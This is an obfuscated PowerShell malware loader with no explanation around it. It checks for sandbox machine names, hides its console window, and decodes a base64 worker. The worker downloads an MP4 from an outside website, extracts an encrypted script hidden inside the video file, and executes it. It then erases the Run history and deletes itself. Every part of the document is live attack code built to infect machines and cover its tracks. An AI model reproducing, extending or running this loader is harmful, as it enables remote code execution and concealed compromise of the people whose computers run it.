<# #> $HIlB08JAg7U5 = (Get-Item -LiteralPath ('Env:'+('Com'+'puter'+'Name')) -ErrorAction SilentlyContinue).Value $ybGv8k1Jmtr = @(13,2,11,15,0) $VAgb3ruc5 = -join ($ybGv8k1Jmtr | ForEach-Object { [char]($_ -bxor 78) }) if ($HIlB08JAg7U5 -and $HIlB08JAg7U5 -match $VAgb3ruc5) { return } $BKYuaeB8MsF = (Get-Item -LiteralPath ('Env:'+('Com'+'puter'+'Name')) -ErrorAction SilentlyContinue).Value $jaY72NVNQKI3C = @(65,78,71,76) $pjH5ZI8jSQce = -join ($jaY72NVNQKI3C | ForEach-Object { [char]($_ -bxor 2) }) if ($BKYuaeB8MsF -and $BKYuaeB8MsF -match $pjH5ZI8jSQce) { return } $__hc = @' using System; using System.Runtime.InteropServices; public class __HideConsole { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } '@ if (-not ('__HideConsole' -as [type])) { try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {} } if ('__HideConsole' -as [type]) { $__hwnd = [__HideConsole]::GetConsoleWindow() if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) } } $TA2Re7WQ = Get-Random -Minimum 0 -Maximum 80 Start-Sleep -Milliseconds $TA2Re7WQ $MwNJBrQ3D1Fc = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoXzhiOGNlYmQyNzNkMA=='))) if (Test-Path $MwNJBrQ3D1Fc) { exit 0 } $__chB64 = 'JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJwpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbgppZiAoLW5vdCAoJ19fWDgxZWFiYTg3MzMnIC1hcyBbdHlwZV0pKSB7CkFkZC1UeXBlIC1SZWZlcmVuY2VkQXNzZW1ibGllcyBTeXN0ZW0uSU8uQ29tcHJlc3Npb24gQCcKdXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjsKdXNpbmcgU3lzdGVtLlRleHQ7CnB1YmxpYyBzdGF0aWMgY2xhc3MgX19YODFlYWJhODczMyB7CiAgc3RhdGljIGludCBSZWFkSW50KGJ5dGVbXSBiLCBpbnQgbykgewogICAgcmV0dXJuICgoYltvXSAmIDB4RkYpIDw8IDI0KSB8ICgoYltvICsgMV0gJiAweEZGKSA8PCAxNikgfCAoKGJbbyArIDJdICYgMHhGRikgPDwgOCkgfCAoYltvICsgM10gJiAweEZGKTsKICB9CiAgc3RhdGljIHN0cmluZyBEZWNyeXB0QmxvYihieXRlW10gYmxvYikgewogICAgYnl0ZVtdIG1hZ2ljID0gbmV3IGJ5dGVbXSB7IDU3LDI1MywyMjEsNTEgfTsKICAgIGZvciAoaW50IGkgPSAwOyBpIDwgbWFnaWMuTGVuZ3RoOyBpKyspIGlmIChibG9iW2ldICE9IG1hZ2ljW2ldKSB0aHJvdyBuZXcgRXhjZXB0aW9uKCJiYWQgYmxvYiIpOwogICAgaW50IGtleUxlbiA9IChibG9iWzRdIDw8IDgpIHwgYmxvYls1XTsKICAgIGludCBvID0gNjsKICAgIHZhciBrZXkgPSBuZXcgYnl0ZVtrZXlMZW5dOwogICAgQnVmZmVyLkJsb2NrQ29weShibG9iLCBvLCBrZXksIDAsIGtleUxlbik7IG8gKz0ga2V5TGVuOwogICAgaW50IGRhdGFMZW4gPSBSZWFkSW50KGJsb2IsIG8pOyBvICs9IDQ7CiAgICB2YXIgZW5jID0gbmV3IGJ5dGVbZGF0YUxlbl07CiAgICBCdWZmZXIuQmxvY2tDb3B5KGJsb2IsIG8sIGVuYywgMCwgZGF0YUxlbik7CiAgICBmb3IgKGludCBpID0gMDsgaSA8IGRhdGFMZW47IGkrKykgZW5jW2ldIF49IGtleVtpICUga2V5TGVuXTsKICAgIHVzaW5nICh2YXIgY21zID0gbmV3IE1lbW9yeVN0cmVhbShlbmMpKQogICAgdXNpbmcgKHZhciBneiA9IG5ldyBHWmlwU3RyZWFtKGNtcywgQ29tcHJlc3Npb25Nb2RlLkRlY29tcHJlc3MpKQogICAgdXNpbmcgKHZhciBzciA9IG5ldyBTdHJlYW1SZWFkZXIoZ3osIEVuY29kaW5nLlVURjgpKSB7CiAgICAgIHJldHVybiBzci5SZWFkVG9FbmQoKTsKICAgIH0KICB9CiAgc3RhdGljIGJ5dGVbXSBGaW5kVXVpZFBheWxvYWQoYnl0ZVtdIGRhdGEsIGJ5dGVbXSBpZCkgewogICAgaW50IGkgPSAwOwogICAgd2hpbGUgKGkgKyA4IDw9IGRhdGEuTGVuZ3RoKSB7CiAgICAgIGludCBzaXplID0gUmVhZEludChkYXRhLCBpKTsKICAgICAgaWYgKHNpemUgPCAyNCB8fCBpICsgc2l6ZSA+IGRhdGEuTGVuZ3RoKSB7IGkrKzsgY29udGludWU7IH0KICAgICAgaWYgKGRhdGFbaSArIDRdID09IChieXRlKSd1JyAmJiBkYXRhW2kgKyA1XSA9PSAoYnl0ZSkndScgJiYgZGF0YVtpICsgNl0gPT0gKGJ5dGUpJ2knICYmIGRhdGFbaSArIDddID09IChieXRlKSdkJykgewogICAgICAgIGJvb2wgb2sgPSB0cnVlOwogICAgICAgIGZvciAoaW50IGogPSAwOyBqIDwgMTY7IGorKykgaWYgKGRhdGFbaSArIDggKyBqXSAhPSBpZFtqXSkgeyBvayA9IGZhbHNlOyBicmVhazsgfQogICAgICAgIGlmIChvaykgewogICAgICAgICAgdmFyIHBheWxvYWQgPSBuZXcgYnl0ZVtzaXplIC0gMjRdOwogICAgICAgICAgQnVmZmVyLkJsb2NrQ29weShkYXRhLCBpICsgMjQsIHBheWxvYWQsIDAsIHBheWxvYWQuTGVuZ3RoKTsKICAgICAgICAgIHJldHVybiBwYXlsb2FkOwogICAgICAgIH0KICAgICAgfQogICAgICBpZiAoc2l6ZSA8IDgpIHsgaSsrOyBjb250aW51ZTsgfQogICAgICBpICs9IHNpemU7CiAgICB9CiAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJ1dWlkIGJveCBtaXNzaW5nIik7CiAgfQogIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEZyb21DYXJyaWVyKGJ5dGVbXSByYXcsIHN0cmluZyBrZXksIGJ5dGVbXSB1dWlkSWQpIHsKICAgIGlmICh1dWlkSWQgIT0gbnVsbCAmJiB1dWlkSWQuTGVuZ3RoID09IDE2KSB7CiAgICAgIHJldHVybiBEZWNyeXB0QmxvYihGaW5kVXVpZFBheWxvYWQocmF3LCB1dWlkSWQpKTsKICAgIH0KICAgIHRocm93IG5ldyBFeGNlcHRpb24oImJhZCBjYXJyaWVyIik7CiAgfQp9CidAIC1FcnJvckFjdGlvbiBTdG9wCn0KJF9fY2hVdWlkID0gW2J5dGVbXV0oMTgwLDIsMTcwLDYyLDE1MSwyMzcsNzUsNjgsMTcyLDcxLDE0OCwyMDAsMTUzLDg3LDM2LDQwKQokX191cmwgPSAkKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdhSFIwY0hNNkx5OW9ZWEpsYkdGdVpHVnVkR1Z5Y0hKcGMyVXVZMjl0TDNSbGMzUmxaQzV0Y0RRPScpKSkKCnRyeSB7IFtOZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbTmV0LlNlY3VyaXR5UHJvdG9jb2xUeXBlXTo6VGxzMTIgfSBjYXRjaCB7fQokX19yYXdCeXRlcyA9ICRudWxsCnRyeSB7CiAgICAkX19kbCA9IFtOZXQuSHR0cC5IdHRwQ2xpZW50XTo6bmV3KCkKICAgICRfX2RsLlRpbWVvdXQgPSBbVGltZVNwYW5dOjpGcm9tU2Vjb25kcygxMjApCiAgICAkX19yYXdCeXRlcyA9ICRfX2RsLkdldEJ5dGVBcnJheUFzeW5jKCRfX3VybCkuR2V0QXdhaXRlcigpLkdldFJlc3VsdCgpCiAgICAkX19kbC5EaXNwb3NlKCkKfSBjYXRjaCB7fQppZiAoLW5vdCAkX19yYXdCeXRlcyAtb3IgJF9fcmF3Qnl0ZXMuTGVuZ3RoIC1sdCA2NCkgewogICAgdHJ5IHsKICAgICAgICAkX193YyA9IE5ldy1PYmplY3QgTmV0LldlYkNsaWVudAogICAgICAgICRfX3djLkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpJykKICAgICAgICAkX19yYXdCeXRlcyA9ICRfX3djLkRvd25sb2FkRGF0YSgkX191cmwpCiAgICB9IGNhdGNoIHt9Cn0KCmlmICgtbm90ICRfX3Jhd0J5dGVzIC1vciAkX19yYXdCeXRlcy5MZW5ndGggLWx0IDY0KSB7CiAgICB0cnkgewogICAgICAgICRfX3Jlc3AgPSAmKCQoW1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1NXNTJiMnRsTFZkbFlsSmxjWFZsYzNRPScpKSkpIC1VcmkgJF9fdXJsIC1Vc2VCYXNpY1BhcnNpbmcgLVRpbWVvdXRTZWMgMTIwCiAgICAgICAgaWYgKCRfX3Jlc3AgLWFuZCAkX19yZXNwLlJhd0NvbnRlbnRTdHJlYW0pIHsKICAgICAgICAgICAgJF9fcmF3Qnl0ZXMgPSAkX19yZXNwLlJhd0NvbnRlbnRTdHJlYW0uVG9BcnJheSgpCiAgICAgICAgfQogICAgfSBjYXRjaCB7fQp9CmlmICgtbm90ICRfX3Jhd0J5dGVzIC1vciAkX19yYXdCeXRlcy5MZW5ndGggLWx0IDY0KSB7IGV4aXQgMSB9CgokX19wYXlsb2FkID0gW19fWDgxZWFiYTg3MzNdOjpGcm9tQ2FycmllcigkX19yYXdCeXRlcywgImRhdGEiLCAkX19jaFV1aWQpCiYgKChbdHlwZV0oKCdTY3InKydpcHQnKydibG9jaycpKSkuR2V0TWV0aG9kKCdDcmVhdGUnKS5JbnZva2UoJG51bGwsIEAoJF9fcGF5bG9hZCkpKQp0cnkgewogICAgJHJ1bk1ydVBhdGggPSAnSEtDVTpcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cRXhwbG9yZXJcUnVuTVJVJwogICAgaWYgKFRlc3QtUGF0aCAkcnVuTXJ1UGF0aCkgewogICAgICAgIFJlbW92ZS1JdGVtUHJvcGVydHkgLVBhdGggJHJ1bk1ydVBhdGggLU5hbWUgKiAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgfQp9IGNhdGNoIHt9CnRyeSB7IFJlbW92ZS1JdGVtIC1MaXRlcmFsUGF0aCAkUFNDb21tYW5kUGF0aCAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7fQpleGl0Cg==' $__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64)) & ([scriptblock]::Create($__chWorker)) exit